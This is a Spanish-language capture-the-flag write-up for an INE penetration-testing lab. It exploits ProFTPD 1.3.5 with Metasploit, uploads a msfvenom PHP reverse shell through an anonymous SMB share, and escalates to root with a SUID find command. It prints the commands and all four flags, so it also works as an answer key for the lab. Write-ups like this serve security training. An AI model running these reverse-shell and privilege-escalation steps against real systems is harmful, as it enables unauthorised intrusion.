~/write-ups/writeup-2a37d93542
Host & Network Penetration Testing: Exploitation CTF 3
Imported from Notion: Host & Network Penetration Testing: Exploitation CTF 3
Pistas
-
A vulnerable service maybe running on target1.ine.local. If exploitable, retrieve the flag from the root directory.
-
Further, a quick interaction with a local network service on target1.ine.local may reveal this flag. Use the hint given in the previous flag.
-
A misconfigured service running on target2.ine.local may help you gain access to the machine. Can you retrieve the flag from the root directory?
-
Can you escalate to root on target2.ine.local and read the flag from the restricted /root directory?
Empezamos tirando nmap al target 1:
nmap -A target1.ine.local

Descubrimos que tiene corriendo un servicio ProFTPD 1.3.5 a si que lo buscamos en searchsploit
searchsploit ProFTPD 1.3.5

Vamos que tiene módulo metasploit lo usaremos para simplificar el exploit.
service postgresql start && msfconsole
Bucamos el exploit
search ProFTPD 1.3.5
use 0
Vamos a ver que hay que configurar con show options

Pondremos nuestro LHOST , ponemos RHOSTS apuntando a target1.ine.local y debemos ajustar SITEPATH ya que en este caso el path es /var/www/html y ejecutamos con run

Vemos que realmente si abrió sesion:
sessions

Abrimos la sesion sessions 1 y vemos que en la raíz tenemos la flag.

Además nos da una pista de la siguiente flag:
FLAG1{a2f6367cd54b4df4af5812c6f6503268} Remember, the magical word is 'letmein'
Vamos a ver que puertos puede haber en escucha:
netstat -ano

Vemos un servicio sospechoso corriendo en localhost:
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN off (0.00/0/0)
Accedemos a él con nc :
nc localhost 8888

Introducimos la pista anterior: letmein
Y nos arroja la segunda flag: FLAG2{1112b4c0dcd74b90aa5e50b9bd7ef6df}
Vamos a por el target 2, ya que las siguientes pistas son sobre ese target.
nmap -A target2.ine.local

La pista dice que algun servicio esta mal configurado, a si que todo apunta a samba , probemos a autenticarnos sin password con el user anonymous :
impacket-smbclient -no-pass anonymous@target2.ine.local

Enumeramos shares y vemos un share llamado site-uploads

Entramos al share:
use site-uploads
Probemos en la web a ver si podemos acceder a él.
Vamos en el navegador a http://192.122.41.4/site-uploads/

Efectivamente, estamos dentro.
Hacemos una reverse shell PHP para ganar acceso:
msfvenom -p php/reverse_php LHOST=192.122.41.2 LPORT=443 -o shell.php

Y la subimos en la sesion smb que tenemos con:
put shell.php
Ahora en Metasploit procedemos como siempre a ponernos en escucha, use multi/handler , set LPORT 443 , set LHOST 192.122.41.2 , set payload php/reverse_php y run
Clickamos en shell.php y obtenemos la reverse shell.

Vamos a upgradearla a una meterpreter , hacemos Ctrl + z para ponerla en segundo plano y upgradeamos con sessions -u ID
Vamos a la raíz y vemos la flag 3.

FLAG3{f92017f39cb54532b157adfcfb5f0281}
Ahora la pista dice que debemos ganar acceso al usuario root , a si que vamos a buscar binarios que podamos ejecutar como root :
find / -perm -4000 2>/dev/null

Perfecto, podemos usar find con permisos de root a si que vamos a ejecutar comando con find que nos otorgue una shell:
/usr/bin/find . -exec /bin/bash -p -i \; -quit
-p→ NO baja privilegios

Vamos a la ruta /root y vemos la última flag: FLAG4{354048da1fe44a84a6784181bf23ac2f}
- EOF -
<< back_to_index